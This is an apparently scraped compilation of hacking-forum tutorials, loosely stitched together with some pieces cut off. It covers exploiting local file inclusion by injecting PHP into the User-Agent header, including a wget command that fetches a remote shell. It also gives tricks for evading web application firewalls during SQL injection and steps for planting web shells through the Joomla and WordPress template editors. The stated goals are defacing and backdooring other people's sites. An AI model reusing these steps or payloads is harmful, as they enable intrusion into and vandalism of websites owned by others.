Evolution 2020

Requirements :
—————

> Tamper data plugin (Download : https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ )
> Dorks for finding vulnrable websites

inurl:index.php?homepage=
inurl:index.php?page=
inurl:index.php?index2=

Or

use following LFI scanning perl script for finding /etc/psswd and /proc/self/environ directories.

(Download LFI scanning script: http://pastebin.com/fjDN4iM5 )



LFI vulnerable website URL looks like this:

Code:
www.website.com/index.php?page=/etc/passwd
Great !!, now you are sure that website is vulnerable.
Now check for /proc/self/environ
So change your path to /proc/self/environ



Click Start Tamper, and refresh your page.
Step 1.
==========

In the User-Agent field, type this
<?php phpinfo();?>



it will show php server info on the web page .



Step 2.
==========

Now we can execute code, so let’s upload upload your shell
Open TamperData again, click start tamper, and refresh website. and This time in the User-Agent enter this
<?exec(‘wget http://www.site.com/shell.txt -O shell.php’);?>


it will show the shell on the webpage…yohaa  )

Deface the website

Note:
—–
Here use a shelled website you can upload shell to

http://www.pastehtml.com

1. Comments


They allow us to bypass alot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:


//; --; /**/; #; -+; -- -;


2. Case Changing


Some WAF's only filter lowercase attacks, so if we change the case, we could bypass it. Example:


http://example.com/index.php?id=1/**/UnIoN/**/SeLeCt/**/1,2/* <- I also implented comments here.


3. Inline comments

Hey friends after the server rooting tutorial today i will tell you how to backdoor the server in few steps ;) .










Things Required :

• Rooted server
• Ssh backdoor

In this tutorial I will be telling you how to upload your shell after getting access into the Joomla Panel. Just follow the screenshots to succesfully upload your shell.

1. First off all Login into your Joomla Panel by entering the login details.


2. When You Will be logged in, you will see a page like this.


3. See on the top and look for the option named Extension. Click on it and Select Template Manager


4. After Clicking on Template Manager, Your Joomla panel will show up the following as shown in the picture below.

5. From there choose any template and click on it, In my case I choose berk. Afer clicked on berk the following screen will came.

6. See the top right of the Panel, you will see a option named Edit HTML. Click on that.


7. Here you will see the source codes of the template. Now replace these codes with your shell's source code and click on save.
Now you can access you shell. The path of your shell will be www.site.com/templates/beez/index.php

You an gain access yo admin panel of wordpress website via symlink. In this tutorial I will be telling you how to upload your shell after gaining the admin access.


1. Login into the wordpress admin panel. 
Goto  http://www.site.com/wp-admin/ or  http://www.site.com/wp-login/



2. Now on the left hand side look for the option Appreance.
3. Click on Appreance after that you will get a option "Editior" click on that after clicking on Appreance.
5. Replace the source codes with the codes of your shell and click on upload
You wil get your shell uploaded here
http://www.site.com/wp-content/themes/themename/yourshell.php